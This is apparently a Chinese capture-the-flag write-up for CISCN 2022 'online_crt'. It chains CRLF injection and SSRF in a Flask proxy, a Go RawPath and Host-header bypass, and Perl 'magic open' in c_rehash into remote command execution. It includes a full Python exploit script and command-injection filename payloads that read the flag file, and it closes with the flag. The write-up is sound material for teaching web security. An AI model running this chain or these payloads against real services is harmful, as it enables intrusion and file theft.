前端 (Python Flask, 8888端口):提供用户交互、生成证书、触发哈希刷新以及一个代理功能。**
后端 (Go Gin, 8887端口):运行在内部,提供管理接口,具体为文件重命名功能。
目标是利用这两个服务之间的交互逻辑缺陷,结合系统脚本的漏洞,实现远程命令执行(RCE)并读取 Flag。
通过审计源码,发现了三个关键漏洞,它们共同组成了一条完整的攻击链。
在 app.py 中,/proxy 路由存在严重的缺陷:
@app.route('/proxy', methods=['GET']) def proxy(): uri = request.form.get("uri", "/") client = socket.socket() client.connect(('localhost', 8887)) msg = f'''GET {uri} HTTP/1.1 Host: test_api_host User-Agent: Guest Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ''' client.send(msg.encode()) data = client.recv(2048) client.close() return data.decode()
代码直接将用户输入的 uri 拼接到 HTTP 请求报文中。由于没有对换行符进行过滤,攻击者可以通过 CRLF 注入来篡改 HTTP 头部(如 Host),甚至构造全新的 HTTP 请求。这使得攻击者可以伪造请求访问内部的 Go 服务。
在 golang_server/main.go 中,/admin/rename 接口用于重命名文件,但存在特定的校验逻辑:
func admin(c *gin.Context) { staticPath := "/app/static/crt/" oldname := c.DefaultQuery("oldname", "") newname := c.DefaultQuery("newname", "") if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") { c.String(500, "error") return } if c.Request.URL.RawPath != "" && c.Request.Host == "admin" { err := os.Rename(staticPath+oldname, staticPath+newname) if err != nil { return } c.String(200, newname) return } c.String(200, "no") }
- Host 限制:必须为
admin。这可以通过 Flask 的 SSRF 漏洞注入Host: admin头来绕过。 - RawPath 限制:
c.Request.URL.RawPath只有在 URL 路径中包含被编码的字符(如%2F)时才会被 Go 的net/url库赋值。因此,我们需要请求/admin%2Frename而不是/admin/rename。
app.py 的 /createlink 路由会调用系统命令 c_rehash static/crt/。题目提供的 golang_server/c_rehash 是一个 Perl 脚本。
在 Perl 中,双参数的 open 函数存在 "Magic Open" 特性:如果文件名以管道符 | 开头,Perl 会将其作为命令执行。
sub check_file { my ($is_cert, $is_crl) = (0,0); my $fname = $_[0]; open IN, $fname; while(<IN>) { if (/^-----BEGIN (.*)-----/) { my $hdr = $1; if ($hdr =~ /^(X509 |TRUSTED |)CERTIFICATE$/) { $is_cert = 1; last if ($is_crl); } elsif ($hdr eq "X509 CRL") { $is_crl = 1; last if ($is_cert); } } } close IN; return ($is_cert, $is_crl); }
如果我们能利用 Go 服务的重命名功能,将一个合法的证书文件重命名为类似 |command 的形式,当 c_rehash 扫描目录打开该文件时,就会执行 command。
- 生成基础文件:访问
/getcrt生成一个合法的.crt文件,获取其文件名(UUID)。 - 构造 Payload:
- 利用
/proxy接口进行 CRLF 注入,向 Go 后端发送请求。 - 路径使用
/admin%2Frename绕过RawPath检查。 - 注入
Host: admin绕过 Host 检查。 - 重命名目标:将 UUID 文件重命名为恶意 Payload。
- Payload 技巧:由于 Linux 文件系统禁止文件名包含斜杠 (
/),我们无法直接写入/flag或/bin/bash。解决方法是使用 Shell 的命令替换功能动态生成斜杠,例如$(printf "\057")。 - 最终 Payload 结构:
|命令;echo .crt。结尾加上.crt是为了通过c_rehash的后缀名检查(它只处理.pem,.crt等文件)。
- 利用
- 触发执行:访问
/createlink接口,后端执行c_rehash,Perl 脚本解析恶意文件名并执行命令。 - 数据回显:将命令执行结果重定向写入到 web 目录下的文本文件(如
flag.txt),然后直接通过 HTTP 访问读取。
首先构造 Payload 列出根目录文件:
- Command:
|ls $(printf "\057") > rootlist.txt;echo .crt - 执行后读取
rootlist.txt:发现根目录下存在文件nssctfflag。
构造读取 Flag 的 Payload:
- Command:
|cat $(printf "\057")nssctfflag > real_flag.txt;echo .crt - 解释:
|: 触发 Perl 命令执行。cat: 读取文件命令。$(printf "\057"): 动态生成/字符,拼凑出/nssctfflag路径。> real_flag.txt: 将结果写入当前目录(/app/static/crt/)。;echo .crt: 闭合命令并伪装后缀。
import requests import urllib.parse import time # 目标 URL TARGET = "http://node4.anna.nssctf.cn:28544" def get_crt(): """请求 /getcrt 生成一个合法的证书文件,返回文件名""" url = f"{TARGET}/getcrt" data = { "Country": "CN", "Province": "Exp", "City": "Exp", "OrganizationalName": "Exp", "CommonName": "Exp", "EmailAddress": "exp@exp.com" } try: res = requests.post(url, data=data) if res.status_code == 200: # 返回路径类似 static/crt/UUID.crt return res.text.strip().split('/')[-1] except: pass return None def rename_crt_raw(oldname, newname_raw): """利用 SSRF + Go 逻辑漏洞重命名文件""" # 对恶意文件名进行 URL 编码 newname_encoded = urllib.parse.quote(newname_raw) # 构造请求路径,使用 %2F 触发 Go 的 RawPath path = f"/admin%2Frename?oldname={oldname}&newname={newname_encoded}" # 构造 HTTP 请求,注入 Host 头 injection = f"{path} HTTP/1.1\r\nHost: admin\r\nConnection: close\r\n\r\n" url = f"{TARGET}/proxy" # Flask 不解析 GET 的 body,但可以通过 data 参数发送,socket 会将其发出 data = {"uri": injection} try: requests.request('GET', url, data=data) print(f"[+] Renamed {oldname} to payload") return True except Exception as e: print(f"[-] Rename error: {e}") return False def trigger_exploit(): """访问 /createlink 触发 c_rehash""" print("[*] Triggering c_rehash...") try: # 可能会超时,因为 c_rehash 正在处理我们的恶意文件 requests.get(f"{TARGET}/createlink", timeout=5) except: pass def check_result(fname): """检查并读取结果文件""" url = f"{TARGET}/static/crt/{fname}" print(f"[*] Checking {url}...") try: res = requests.get(url) if res.status_code == 200: print("\n[SUCCESS] Flag Found:") print(res.text.strip()) return True else: print(f"[-] File not found: {res.status_code}") except: pass return False def main(): # 1. 获取合法证书 filename = get_crt() if not filename: print("[-] Failed to get CRT") return print(f"[+] Got valid CRT: {filename}") # 2. 构造 Payload # 目标: cat /nssctfflag > real_flag.txt # 绕过: 使用 $(printf "\057") 代替 / payload = '|cat $(printf "\\057")nssctfflag > real_flag.txt;echo .crt' # 3. 重命名文件 if rename_crt_raw(filename, payload): # 4. 触发 Perl Magic Open trigger_exploit() # 5. 读取结果 time.sleep(1) # 等待命令执行完成 check_result("real_flag.txt") if __name__ == "__main__": main()
运行上述脚本,成功获取 Flag:
NSSCTF{86b66ca3-3d93-43c6-b3c2-0ab328d8e585}

![[CISCN 2022 初赛]online_crt WP](https://lunaticquasimodo.top/uploads/Weixin_Image_20251127215810_517_1118_67748b60e8.png)